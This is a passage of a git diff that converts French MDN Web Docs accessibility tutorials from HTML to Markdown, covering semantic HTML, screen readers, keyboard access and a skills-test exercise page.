ne nous permettra toutefois pas d'accéder à la vue agrandie à l'aide du clavier ; pour cela, nous avons inclus les deux dernières lignes, qui exécutent les fonctions lorsque l'image est nette et floue (lorsque la mise au point s'arrête). Cela peut être fait en tapant sur l'image, car nous avons inclus `tabindex="0"` dessus. -<p>L'événement <a href="/fr/docs/Web/API/Element/click_event">click</a> est intéressant — cela semble dépendre de la souris, mais la plupart des navigateurs activent les gestionnaires d'événement <a href="/fr/docs/Web/API/GlobalEventHandlers/onclick">element.onclick</a> après avoir pressé <kbd>Entrée</kbd> sur un lien ou un élément de formulaire ciblé, ou lorsqu'un tel élément est touché sur un écran tactile. Cependant, cela ne fonctionne pas par défaut lorsque vous autorisez un événement à ne pas être mis au point par défaut à l'aide de tabindex. Dans ce cas, vous devez détecter précisément le moment exact où cette touche est enfoncée (voir <a href="/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in">Remettre l'accessibilité au clavier</a>).</p> +L'événement [click](/fr/docs/Web/API/Element/click_event) est intéressant — cela semble dépendre de la souris, mais la plupart des navigateurs activent les gestionnaires d'événement [element.onclick](/fr/docs/Web/API/GlobalEventHandlers/onclick) après avoir pressé <kbd>Entrée</kbd> sur un lien ou un élément de formulaire ciblé, ou lorsqu'un tel élément est touché sur un écran tactile. Cependant, cela ne fonctionne pas par défaut lorsque vous autorisez un événement à ne pas être mis au point par défaut à l'aide de tabindex. Dans ce cas, vous devez détecter précisément le moment exact où cette touche est enfoncée (voir [Remettre l'accessibilité au clavier](/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in)). -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Nous espérons que cet article vous a fourni beaucoup de détails et de compréhension sur les problèmes d'accessibilité liés à l'utilisation de CSS et de JavaScript sur les pages Web.</p> +Nous espérons que cet article vous a fourni beaucoup de détails et de compréhension sur les problèmes d'accessibilité liés à l'utilisation de CSS et de JavaScript sur les pages Web. -<p>Ensuite, WAI-ARIA !</p> +Ensuite, WAI-ARIA ! -<div>{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}</div> +{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}} -<div> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Apprendre/a11y/What_is_accessibility">Qu'est ce que l'accessibilité?</a></li> - <li><a href="/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in">HTML : une bonne base pour l'accessibilité</a></li> - <li><a href="/fr/docs/Apprendre/a11y/CSS_and_JavaScript">Meilleures pratiques d'accessibilité CSS et JavaScript</a></li> - <li><a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> - <li><a href="/fr/docs/Apprendre/a11y/Multimedia">Accessible multimedia</a></li> - <li><a href="/fr/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li> - <li><a href="/fr/docs/Apprendre/a11y/Accessibility_troubleshooting">Évaluation: dépannage d'accessibilité</a></li> -</ul> -</div> +- [Qu'est ce que l'accessibilité?](/fr/docs/Apprendre/a11y/What_is_accessibility) +- [HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in) +- [Meilleures pratiques d'accessibilité CSS et JavaScript](/fr/docs/Apprendre/a11y/CSS_and_JavaScript) +- [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) +- [Accessible multimedia](/fr/docs/Apprendre/a11y/Multimedia) +- [Mobile accessibility](/fr/docs/Learn/Accessibility/Mobile) +- [Évaluation: dépannage d'accessibilité](/fr/docs/Apprendre/a11y/Accessibility_troubleshooting) diff --git a/files/fr/learn/accessibility/css_and_javascript/test_your_skills_colon__css_and_javascript_accessibility/index.md b/files/fr/learn/accessibility/css_and_javascript/test_your_skills_colon__css_and_javascript_accessibility/index.md index e81880d90d..63e493513b 100644 --- a/files/fr/learn/accessibility/css_and_javascript/test_your_skills_colon__css_and_javascript_accessibility/index.md +++ b/files/fr/learn/accessibility/css_and_javascript/test_your_skills_colon__css_and_javascript_accessibility/index.md @@ -1,6 +1,7 @@ --- title: 'Testez vos compétences : l''accessibilité en CSS et JavaScript' -slug: Learn/Accessibility/CSS_and_JavaScript/Test_your_skills:_CSS_and_JavaScript_accessibility +slug: >- + Learn/Accessibility/CSS_and_JavaScript/Test_your_skills:_CSS_and_JavaScript_accessibility tags: - Accessibility - Assessment @@ -9,74 +10,60 @@ tags: - JavaScript - Learn - test your skills -translation-of: Learn/Accessibility/CSS_and_JavaScript/Test_your_skills:_CSS_and_JavaScript_accessibility --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>L'objectif de ce test de connaissances est d'évaluer si vous maîtrisez les <a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript">meilleures pratiques d'accessibilité en CSS et en JavaScript</a>.</p> +L'objectif de ce test de connaissances est d'évaluer si vous maîtrisez les [meilleures pratiques d'accessibilité en CSS et en JavaScript](/fr/docs/Learn/Accessibility/CSS_and_JavaScript). -<div class="note"> - <p><strong>Note :</strong> Vous pouvez tester les solutions dans les éditeurs interactifs ci-dessous, cependant il peut être plus utile de télécharger le code et d'utiliser un outil en ligne comme <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> ou <a href="https://glitch.com/">Glitch</a> pour travailler sur les exercices suivants.</p> - <p>Si vous bloquez, demandez-nous de l'aide — plus d'informations dans la section <a href="#assessment_or_further_help">Évaluation ou aide supplémentaire</a> en bas de la page.</p> -</div> +> **Note :** Vous pouvez tester les solutions dans les éditeurs interactifs ci-dessous, cependant il peut être plus utile de télécharger le code et d'utiliser un outil en ligne comme [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/) ou [Glitch](https://glitch.com/) pour travailler sur les exercices suivants. +> +> Si vous bloquez, demandez-nous de l'aide — plus d'informations dans la section [Évaluation ou aide supplémentaire](#assessment_or_further_help) en bas de la page. -<h2 id="css_accessibility_1">Accessibilité en CSS - Exercice 1</h2> +## Accessibilité en CSS - Exercice 1 -<p>Dans ce premier exercice, vous trouverez une liste de liens. Toutefois, leur accessibilité est assez mauvaise — impossible de savoir si ce sont effectivement des liens, ou encore de savoir lequel d'entre eux l'utilisateur survole.</p> +Dans ce premier exercice, vous trouverez une liste de liens. Toutefois, leur accessibilité est assez mauvaise — impossible de savoir si ce sont effectivement des liens, ou encore de savoir lequel d'entre eux l'utilisateur survole. -<p>Vous pouvez partir du principe que l'ensemble des règles associées au sélecteur <code>a</code> sont fournies par un CMS, et qu'il vous est impossible de le modifier. Vous devrez donc créer de nouvelles règles pour permettre aux liens d'apparaître et de se comporter comme des liens, et permettre à l'utilisateur de savoir où il se trouve dans la liste.</p> +Vous pouvez partir du principe que l'ensemble des règles associées au sélecteur `a` sont fournies par un CMS, et qu'il vous est impossible de le modifier. Vous devrez donc créer de nouvelles règles pour permettre aux liens d'apparaître et de se comporter comme des liens, et permettre à l'utilisateur de savoir où il se trouve dans la liste. -<p>Essayez de mettre à jour le code direct ci-dessous pour reproduire l'exemple final :</p> +Essayez de mettre à jour le code direct ci-dessous pour reproduire l'exemple final : -<p>{{EmbedGHLiveSample("learning-area/accessibility/tasks/html-css/css/css-a11y1.html", '100%', 700)}}</p> +{{EmbedGHLiveSample("learning-area/accessibility/tasks/html-css/css/css-a11y1.html", '100%', 700)}} -<div class="note"> - <p><strong>Note :</strong> <a href="https://github.com/mdn/learning-area/blob/master/accessibility/tasks/html-css/css/css-a11y1-download.html">Télécharger le code de départ de cet exercice</a> pour travailler dessus dans votre propre éditeur ou avec un éditeur en ligne.</p> -</div> +> **Note :** [Télécharger le code de départ de cet exercice](https://github.com/mdn/learning-area/blob/master/accessibility/tasks/html-css/css/css-a11y1-download.html) pour travailler dessus dans votre propre éditeur ou avec un éditeur en ligne. -<h2 id="css_accessibility_2">Accessibilité en CSS - Exercice 2</h2> +## Accessibilité en CSS - Exercice 2 -<p>Dans ce nouvel exercice, vous démarrez avec une petite portion de contenu : de simples titres et paragraphes. On constate des problèmes d'accessibilité avec les couleurs et la taille du texte. Nous vous demandons de :</p> +Dans ce nouvel exercice, vous démarrez avec une petite portion de contenu : de simples titres et paragraphes. On constate des problèmes d'accessibilité avec les couleurs et la taille du texte. Nous vous demandons de : -<ol> - <li>Expliquez quels sont les problèmes et quelles sont les règles à suivre définissant les valeurs acceptables en termes de couleurs et de taille.</li> - <li>Choisir de nouvelles valeurs en termes de couleur et de taille de police pour corriger ce problème.</li> - <li>Mettre à jour le code CSS avec ces nouvelles valeurs pour résoudre le problème.</li> - <li>Tester le code pour s'assurer que le problème est désormais résolu. Décrivez quels outils ou méthodes vous avez utilisé pour choisir les nouvelles valeurs et tester le code.</li> -</ol> +1. Expliquez quels sont les problèmes et quelles sont les règles à suivre définissant les valeurs acceptables en termes de couleurs et de taille. +2. Choisir de nouvelles valeurs en termes de couleur et de taille de police pour corriger ce problème. +3. Mettre à jour le code CSS avec ces nouvelles valeurs pour résoudre le problème. +4. Tester le code pour s'assurer que le problème est désormais résolu. Décrivez quels outils ou méthodes vous avez utilisé pour choisir les nouvelles valeurs et tester le code. -<p>Essayez de mettre à jour le code en direct ci-dessous pour reproduire l'exemple fini :</p> +Essayez de mettre à jour le code en direct ci-dessous pour reproduire l'exemple fini : -<p>{{EmbedGHLiveSample("learning-area/accessibility/tasks/html-css/css/css-a11y2.html", '100%', 700)}}</p> +{{EmbedGHLiveSample("learning-area/accessibility/tasks/html-css/css/css-a11y2.html", '100%', 700)}} -<div class="note"> - <p><strong>Note :</strong> <a href="https://github.com/mdn/learning-area/blob/master/accessibility/tasks/html-css/css/css-a11y2-download.html">Télécharger le code de départ de cet exercice</a> pour travailler dessus dans votre propre éditeur ou avec un éditeur en ligne.</p> -</div> +> **Note :** [Télécharger le code de départ de cet exercice](https://github.com/mdn/learning-area/blob/master/accessibility/tasks/html-css/css/css-a11y2-download.html) pour travailler dessus dans votre propre éditeur ou avec un éditeur en ligne. -<h2 id="javascript_accessibility_1">Accessibilité en JavaScript - Exercice 1</h2> +## Accessibilité en JavaScript - Exercice 1 -<p>Dans ce dernier exercice, vous avez un peu de JavaScript à écrire. Vous avez une application très simple qui affiche une liste de noms d'animaux. Cliquer sur l'un des noms d'animaux fait apparaître une description plus détaillée de l'animal dans un cadre sous la liste.</p> +Dans ce dernier exercice, vous avez un peu de JavaScript à écrire. Vous avez une application très simple qui affiche une liste de noms d'animaux. Cliquer sur l'un des noms d'animaux fait apparaître une description plus détaillée de l'animal dans un cadre sous la liste. -<p>Ce n'est hélas pas très accessible — dans l'état actuel des choses vous pouvez seulement utiliser la souris. Nous aimerions que vous ajoutiez du code HTML et JavaScript de façon à rendre l'application également utilisable avec un clavier.</p> +Ce n'est hélas pas très accessible — dans l'état actuel des choses vous pouvez seulement utiliser la souris. Nous aimerions que vous ajoutiez du code HTML et JavaScript de façon à rendre l'application également utilisable avec un clavier. -<div class="note"> - <p><strong>Note :</strong> <a href="https://github.com/mdn/learning-area/blob/master/accessibility/tasks/js/js/js1-download.html">Télécharger le code de départ de cet exercice</a> pour travailler dessus dans votre propre éditeur ou avec un éditeur en ligne.</p> -</div> +> **Note :** [Télécharger le code de départ de cet exercice](https://github.com/mdn/learning-area/blob/master/accessibility/tasks/js/js/js1-download.html) pour travailler dessus dans votre propre éditeur ou avec un éditeur en ligne. -<h2 id="assessment_or_further_help">Évaluation ou aide supplémentaire</h2> +## Évaluation ou aide supplémentaire -<p>Vous pouvez vous entraîner avec ces exemples dans les Éditeurs Interactifs ci-dessus.</p> +Vous pouvez vous entraîner avec ces exemples dans les Éditeurs Interactifs ci-dessus. -<p>Si vous souhaitez obtenir une évaluation de votre travail, ou si vous bloquez et que vous souhaitez obtenir de l'aide :</p> +Si vous souhaitez obtenir une évaluation de votre travail, ou si vous bloquez et que vous souhaitez obtenir de l'aide : -<ol> - <li>Publiez votre travail dans un éditeur en ligne partageable, comme <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> ou <a href="https://glitch.com/">Glitch</a>. Vous pouvez soit écrire le code vous-même, soit utiliser les fichiers de départ via les liens présents dans les sections ci-dessus.</li> - <li>Écrivez un message pour demander une évaluation et/ou de l'aide dans la <a href="https://discourse.mozilla.org/c/mdn/learn">catégorie Apprentissage (Learning) du forum de discussion de MDN</a>. Votre message doit comprendre : - <ul> - <li>Un titre explicite, par exemple « Évaluation souhaitée pour le test d'Accessibilité CSS 1 ».</li> - <li>Des détails sur ce que vous avez déjà tenté, et ce que vous aimeriez que nous fassions, c'est-à-dire si vous bloquez et que vous avez besoin d'aide, ou si vous souhaitez qu'on évalue votre travail.</li> - <li>Un lien vers l'exemple que vous souhaitez voir évalué ou sur lequel vous avez besoin d'aide, dans un éditeur en ligne partageable (comme précisé dans le point 1 ci-dessus). C'est une bonne pratique à adopter : il est très difficile d'aider quelqu'un à résoudre un problème de code si vous ne pouvez pas voir le code en question!</li> - <li>Un lien vers l'exercice en cours ou vers la page d'évaluation, de façon à ce que nous puissions trouver la question sur laquelle vous avez besoin d'un coup de main.</li> - </ul> - </li> -</ol> +1. Publiez votre travail dans un éditeur en ligne partageable, comme [CodePen](https://codepen.io/), [jsFiddle](https://jsfiddle.net/) ou [Glitch](https://glitch.com/). Vous pouvez soit écrire le code vous-même, soit utiliser les fichiers de départ via les liens présents dans les sections ci-dessus. +2. Écrivez un message pour demander une évaluation et/ou de l'aide dans la [catégorie Apprentissage (Learning) du forum de discussion de MDN](https://discourse.mozilla.org/c/mdn/learn). Votre message doit comprendre : + + - Un titre explicite, par exemple « Évaluation souhaitée pour le test d'Accessibilité CSS 1 ». + - Des détails sur ce que vous avez déjà tenté, et ce que vous aimeriez que nous fassions, c'est-à-dire si vous bloquez et que vous avez besoin d'aide, ou si vous souhaitez qu'on évalue votre travail. + - Un lien vers l'exemple que vous souhaitez voir évalué ou sur lequel vous avez besoin d'aide, dans un éditeur en ligne partageable (comme précisé dans le point 1 ci-dessus). C'est une bonne pratique à adopter : il est très difficile d'aider quelqu'un à résoudre un problème de code si vous ne pouvez pas voir le code en question! + - Un lien vers l'exercice en cours ou vers la page d'évaluation, de façon à ce que nous puissions trouver la question sur laquelle vous avez besoin d'un coup de main. diff --git a/files/fr/learn/accessibility/html/index.md b/files/fr/learn/accessibility/html/index.md index 354bf4075f..7d23870cc5 100644 --- a/files/fr/learn/accessibility/html/index.md +++ b/files/fr/learn/accessibility/html/index.md @@ -15,515 +15,529 @@ tags: translation_of: Learn/Accessibility/HTML original_slug: Apprendre/a11y/HTML --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}} -<div>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</div> - -<p>Une grande partie des contenus web peut être rendue accessible simplement en s'assurant d'utiliser les éléments HTML appropriés systématiquement. Cet article détaille comment HTML peut être utilisé pour un maximum d'accessibilité.</p> +Une grande partie des contenus web peut être rendue accessible simplement en s'assurant d'utiliser les éléments HTML appropriés systématiquement. Cet article détaille comment HTML peut être utilisé pour un maximum d'accessibilité. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Compétences informatiques de base, compréhension basique de HTML (voir<a href="/fr/Apprendre/HTML/Introduction_à_HTML"> </a><a href="/fr/docs/Learn/HTML/Introduction_to_HTML">I</a><a href="/fr/Apprendre/HTML/Introduction_à_HTML">ntroduction à HTML</a>), et compréhension de <a href="/fr/docs/Apprendre/a11y/What_is_accessibility"> Qu'est ce que l'accessibilité ?</a></td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Se familiariser avec les fonctionnalités de HTML qui bénéficient à l'accessibilité, et comment les utiliser de manière appropriée dans vos documents web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Compétences informatiques de base, compréhension basique de HTML (voir<a + href="/fr/Apprendre/HTML/Introduction_à_HTML" + > </a + ><a href="/fr/docs/Learn/HTML/Introduction_to_HTML">I</a + ><a href="/fr/Apprendre/HTML/Introduction_à_HTML">ntroduction à HTML</a + >), et compréhension de + <a href="/fr/docs/Apprendre/a11y/What_is_accessibility" + >Qu'est ce que l'accessibilité ?</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Se familiariser avec les fonctionnalités de HTML qui bénéficient à + l'accessibilité, et comment les utiliser de manière appropriée dans vos + documents web. + </td> + </tr> + </tbody> </table> -<h2 id="HTML_et_accessibilité">HTML et accessibilité</h2> +## HTML et accessibilité -<p>Plus vous apprenez le HTML — plus vous lisez de ressources, regardez d'exemples — plus vous recontrerez un thème récurrent : l'importance d'utiliser du HTML sémantique, parfois appelé POSH (Plain Old Semantic HTML). C'est l'usage des éléments HTML appropriés autant que possible.</p> +Plus vous apprenez le HTML — plus vous lisez de ressources, regardez d'exemples — plus vous recontrerez un thème récurrent : l'importance d'utiliser du HTML sémantique, parfois appelé POSH (Plain Old Semantic HTML). C'est l'usage des éléments HTML appropriés autant que possible. -<p>Vous pouvez vous demander pourquoi c'est si important. Après tout, vous pouvez utiliser une combinaison de CSS et de JavaScript pour faire fonctionner n'importe quel élément HTML de la manière que vous souhaitez. Par exemple, un bouton de lecture pour une vidéo sur votre site pourrait être codé ainsi :</p> +Vous pouvez vous demander pourquoi c'est si important. Après tout, vous pouvez utiliser une combinaison de CSS et de JavaScript pour faire fonctionner n'importe quel élément HTML de la manière que vous souhaitez. Par exemple, un bouton de lecture pour une vidéo sur votre site pourrait être codé ainsi : -<pre class="brush: html"><div>Lire la vidéo</div></pre> +```html +<div>Lire la vidéo</div> +``` -<p>Mais comme vous le verrez en détail plus loin, il est beaucoup plus sensé d'utiliser le bon élément à cet effet :</p> +Mais comme vous le verrez en détail plus loin, il est beaucoup plus sensé d'utiliser le bon élément à cet effet : -<pre class="brush: html"><button>Lire la vidéo</button></pre> +```html +<button>Lire la vidéo</button> +``` -<p>Non seulement <code><button></code> possède des styles adéquats par défaut (que vous voudrez probablement surcharger), il intègre aussi l'accès au clavier — on peut tabuler dessus, et l'activer avec la touche entrée.</p> +Non seulement `<button>` possède des styles adéquats par défaut (que vous voudrez probablement surcharger), il intègre aussi l'accès au clavier — on peut tabuler dessus, et l'activer avec la touche entrée. -<p>Le HTML sémantique ne demande pas plus de temps à écrire que du (mauvais) balisage non-sémantique si vous le faites de manière constante dès le début de votre projet, et il a également des bénéfices au delà de l'accessibilité :</p> +Le HTML sémantique ne demande pas plus de temps à écrire que du (mauvais) balisage non-sémantique si vous le faites de manière constante dès le début de votre projet, et il a également des bénéfices au delà de l'accessibilité : -<ol> - <li><strong>Facilite les développements</strong> — comme mentionné ci-dessus, certaines fonctionnalités sont gratuites, et c'est indiscutablement plus compréhensible.</li> - <li><strong>Meilleur pour le mobile</strong> — le HTML sémantique est indiscutablement plus léger en la taille du fichier que le code spaghetti non sémantique, et plus aisé à rendre responsive. </li> - <li><strong>Bon pour le SEO</strong> — les moteurs de recherche donnent plus d'importance aux mots clés contenus dans les titres, liens, etc. que des mots-clés contenus dans des <code><div></code> non sémantiques, et donc vos documents seront plus facilement trouvés par vos clients.</li> -</ol> +1. **Facilite les développements** — comme mentionné ci-dessus, certaines fonctionnalités sont gratuites, et c'est indiscutablement plus compréhensible. +2. **Meilleur pour le mobile** — le HTML sémantique est indiscutablement plus léger en la taille du fichier que le code spaghetti non sémantique, et plus aisé à rendre responsive. +3. **Bon pour le SEO** — les moteurs de recherche donnent plus d'importance aux mots clés contenus dans les titres, liens, etc. que des mots-clés contenus dans des `<div>` non sémantiques, et donc vos documents seront plus facilement trouvés par vos clients. -<p>Continuons et jetons un œil au HTML accessible dans le détail.</p> +Continuons et jetons un œil au HTML accessible dans le détail. -<div class="note"> -<p><strong>Note :</strong> C'est une bonne idée d'avoir un lecteur d'écran configuré, pour tester les exemples ci-dessous. Voir notre guide pour <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibilité#Screenreaders">gérer les problèmes courants d'accessibilité</a> pour plus de détails.</p> -</div> +> **Note :** C'est une bonne idée d'avoir un lecteur d'écran configuré, pour tester les exemples ci-dessous. Voir notre guide pour [gérer les problèmes courants d'accessibilité](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibilité#Screenreaders) pour plus de détails. -<h2 id="Une_bonne_sémantique">Une bonne sémantique</h2> +## Une bonne sémantique -<p>Nous avons déjà parlé de l'importance d'une bonne sémantique, et pourquoi nous devons utiliser le bon élément HTML pour le bon usage. Il ne faut pas l'ignorer car c'est une des principales causes d'importants problèmes d'accessibilité si ce n'est pas fait correctement.</p> +Nous avons déjà parlé de l'importance d'une bonne sémantique, et pourquoi nous devons utiliser le bon élément HTML pour le bon usage. Il ne faut pas l'ignorer car c'est une des principales causes d'importants problèmes d'accessibilité si ce n'est pas fait correctement. -<p>En vérité sur le Web, les développeurs font d'étranges choses avec HTML. Certains abus en HTML sont hérités de vieilles pratiques obsolètes pas complètement oubliées, d'autre sont juste de l'ignorance. Dans tous les cas, vous devez remplacer ce mauvais code partout où vous le verrez, dès que vous le pourrez.</p> +En vérité sur le Web, les développeurs font d'étranges choses avec HTML. Certains abus en HTML sont hérités de vieilles pratiques obsolètes pas complètement oubliées, d'autre sont juste de l'ignorance. Dans tous les cas, vous devez remplacer ce mauvais code partout où vous le verrez, dès que vous le pourrez. -<p>Parfois vous ne pourrez pas vous débarrasser du mauvais balisage — vos pages seront générées par quelque framework côté serveur dont vous n'aurez pas le contrôle total, ou vous aurez des contenus tiers (comme des bannières publicitaires) que nous ne contrôlerez pas.</p> +Parfois vous ne pourrez pas vous débarrasser du mauvais balisage — vos pages seront générées par quelque framework côté serveur dont vous n'aurez pas le contrôle total, ou vous aurez des contenus tiers (comme des bannières publicitaires) que nous ne contrôlerez pas. -<p>L'objectif cependant n'est pas « tout ou rien » — toute amélioration que vous pouvez faire aidera la cause de l'accessibilité.</p> +L'objectif cependant n'est pas « tout ou rien » — toute amélioration que vous pouvez faire aidera la cause de l'accessibilité. -<h3 id="Contenus_textuels">Contenus textuels</h3> +### Contenus textuels -<p>L'une des meilleures aides en accessibilité qu'un utilisateur de lecteur d'écran peut avoir est une bonne structure des titres, paragraphes, listes, etc. Un bon exemple sémantique devrait ressembler au code suivant :</p> +L'une des meilleures aides en accessibilité qu'un utilisateur de lecteur d'écran peut avoir est une bonne structure des titres, paragraphes, listes, etc. Un bon exemple sémantique devrait ressembler au code suivant : -<pre class="brush: html example-good"><h1>Mon titre</h1> +```html example-good +<h1>Mon titre</h1> -<p>Ceci est la premère section de mon document.</p> +<p>Ceci est la premère section de mon document.</p> -<p>Je vais ajouter ici un autre paragraphe.</p> +<p>Je vais ajouter ici un autre paragraphe.</p> -<ol> - <li>Voici</li> - <li>une liste pour</li> - <li>toi à lire.</li> -</ol> +<ol> + <li>Voici</li> + <li>une liste pour</li> + <li>toi à lire.</li> +</ol> -<h2>Mon sous-titre</h2> +<h2>Mon sous-titre</h2> -<p>Ceci est la première sous-section de mon document. J'aurais aimé que les gens puissent trouver ce contenu!</p> +<p>Ceci est la première sous-section de mon document. J'aurais aimé que les gens puissent trouver ce contenu!</p> -<h2>Mon second sous-titre</h2> +<h2>Mon second sous-titre</h2> -<p>Ceci est la seconde sous-section de mon document. Je pense qu'elle est plus intéressante que la dernière.</p></pre> +<p>Ceci est la seconde sous-section de mon document. Je pense qu'elle est plus intéressante que la dernière.</p> +``` -<p>Nous avons préparé pour vous une version avec un texte plus long afin de l'essayer avec lecteur d'écran (voir <a href="https://mdn.github.io/learning-area/accessibility/html/good-semantics.html">la bonne sémantique</a>). Si vous essayez de naviguer dans ce document, vous verrez qu'il est assez simple de s'y retrouver :</p> +Nous avons préparé pour vous une version avec un texte plus long afin de l'essayer avec lecteur d'écran (voir [la bonne sémantique](https://mdn.github.io/learning-area/accessibility/html/good-semantics.html)). Si vous essayez de naviguer dans ce document, vous verrez qu'il est assez simple de s'y retrouver : -<ol> - <li>Le lecteur d'écran lit à voix haute chaque élément au fur et à mesure que vous progressez dans le contenu, vous notifiant ce qui est un paragraphe, ce qui est un titre, etc.</li> - <li>Il s'arrête après chaque élément, vous laissant aller à n'importe quel endroit vous convenant.</li> - <li>Vous pouvez sauter au précédent ou au prochain titre avec de nombreux lecteurs d'écran.</li> - <li>Vous pouvez aussi dresser une liste de tous les titres avec de nombreux lecteurs d'écrans, vous permettant de les utiliser comme une table des matières pratique pour trouver un contenu spécifique.</li> -</ol> +1. Le lecteur d'écran lit à voix haute chaque élément au fur et à mesure que vous progressez dans le contenu, vous notifiant ce qui est un paragraphe, ce qui est un titre, etc. +2. Il s'arrête après chaque élément, vous laissant aller à n'importe quel endroit vous convenant. +3. Vous pouvez sauter au précédent ou au prochain titre avec de nombreux lecteurs d'écran. +4. Vous pouvez aussi dresser une liste de tous les titres avec de nombreux lecteurs d'écrans, vous permettant de les utiliser comme une table des matières pratique pour trouver un contenu spécifique. -<p>Les gens écrivent parfois des titres, des paragraphes, etc. utilisant le HTML de présentation et retours à la ligne, quelque chose comme ce qui suit :</p> +Les gens écrivent parfois des titres, des paragraphes, etc. utilisant le HTML de présentation et retours à la ligne, quelque chose comme ce qui suit : -<pre class="brush: html example-bad"><font size="7">Mon titre</font> -<br><br> +```html example-bad +<font size="7">Mon titre</font> +<br><br> Ceci est la première section de mon document. -<br><br> +<br><br> Je vais ajouter ici un autre paragraphe. -<br><br> +<br><br> 1. Voici -<br><br> +<br><br> 2. une liste pour -<br><br> +<br><br> 3. toi à lire. -<br><br> -<font size="5">Mon sous-titre</font> -<br><br> -<p>Ceci est la première sous-section de mon document. J'aurais aimé que les gens puissent trouver ce contenu! -<br><br> -<font size="5">My 2nd subheading</font> -<br><br> -Ceci est la seconde sous-section de mon document. Je pense qu'elle est plus intéressante que la dernière.</pre> - -<p>Si vous essayez notre version plus longue avec un lecteur d'écran (voir <a href="https://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">la mauvaise sémantique</a>), vous n'aurez pas une très bonne expérience – le lecteur d'écran n'a plus rien à utiliser comme indicateur, il ne peut pas récupérer une table des matières utilisable, et la page entière est vue comme un bloc unique, lu tout d'une traite.</p> - -<p>Il y a aussi d'autres problèmes au-delà de l'accessibilité – le contenu est plus dur à mettre en forme avec le CSS, ou à manipuler avec JavaScript par exemple, car il n'y a pas d'élément à utiliser comme sélecteurs.</p> - -<h4 id="Utiliser_un_langage_clair">Utiliser un langage clair</h4> - -<p>Le langage que vous employez peut aussi affecter l'accessiblité. En général vous ne devriez pas utiliser un langage trop complexe, ni utiliser un jargon ou de l'argot inutiles. Cela ne profite pas qu'aux gens avec des handicaps congnitifs ou autres ; cela profite au lecteur pour qui le texte n'est pas écrit dans sa langue maternelle, pour des gens plus jeunes… à tout un chacun en fait ! Mis à part cela, vous devriez essayer d'éviter d'utiliser un langage et des caractères qui ne sont pas lus clairement à voix haute par le lecteur d'écran. Par exemple :</p> - -<ul> - <li>N'utilisez pas des tirets si vous le pouvez. Au lieu d'écrire 5–7, écrivez 5 à 7.</li> - <li>Explicitez les abréviations — au lieu d'écrire Jan, écrivez Janvier.</li> - <li>Explicitez les acronymes, au moins une ou deux fois. Au lieu d'écrire "HTML" en premier lieu, écrivez Hypertext Markup Language.</li> -</ul> - -<h3 id="Disposition_des_pages">Disposition des pages</h3> - -<p>Dans les âges sombres, les gens avaient pour habitude de créer les dispositions de leurs pages avec des tableaux HTML — en utilisant différentes cellules de ces tableaux pour contenir l'en-tête, le pied de page, une barre latérale, la colonne du contenu principal, etc. Ce n'est pas une bonne idée car un lecteur d'écran va donner des lectures déroutantes, surtout si la disposition est complexe et a de nombreux tableaux imbriqués.</p> - -<p>Essayez notre exemple <a href="http://mdn.github.io/learning-area/accessibility/html/table-layout.html">table-layout.html</a>, qui ressemble à quelque chose comme ça :</p> - -<pre class="brush: html"><table width="1200"> - <!-- main heading row --> - <tr id="heading"> - <td colspan="6"> - - <h1 align="center">Header</h1> - - </td> - </tr> - <!-- nav menu row --> - <tr id="nav" bgcolor="#ffffff"> - <td width="200"> - <a href="#" align="center">Home</a> - </td> - <td width="200"> - <a href="#" align="center">Our team</a> - </td> - <td width="200"> - <a href="#" align="center">Projects</a> - </td> - <td width="200"> - <a href="#" align="center">Contact</a> - </td> - <td width="300"> - <form width="300"> - <input type="search" name="q" placeholder="Search query" width="300"> - </form> - </td> - <td width="100"> - <button width="100">Go!</button> - </td> - </tr> - <!-- spacer row --> - <tr id="spacer" height="10"> - <td> - - </td> - </tr> - <!-- main content and aside row --> - <tr id="main"> - <td id="content" colspan="4" bgcolor="#ffffff"> - - <!-- main content goes here --> - </td> - <td id="aside" colspan="2" bgcolor="#ff80ff" valign="top"> - <h2>Related</h2> - - <!-- aside content goes here --> - - </td> - </tr> - <!-- spacer row --> - <tr id="spacer" height="10"> - <td> - - </td> - </tr> - <!-- footer row --> - <tr id="footer" bgcolor="#ffffff"> - <td colspan="6"> - <p>©Copyright 2050 by nobody. All rights reversed.</p> - </td> - </tr> - </table></pre> - -<p>Si vous essayez de naviguer à l'aide d'un lecteur d'écran, cela vous indiquera probablement qu'il existe un tableau à examiner (bien que certains lecteurs d'écran puissent deviner la différence entre les présentations de tableau et les tableaux de données). Vous devrez ensuite (en fonction du lecteur d’écran que vous utilisez) devoir accéder à la table en tant qu’objet et en examiner les caractéristiques séparément, puis sortir à nouveau de la table pour 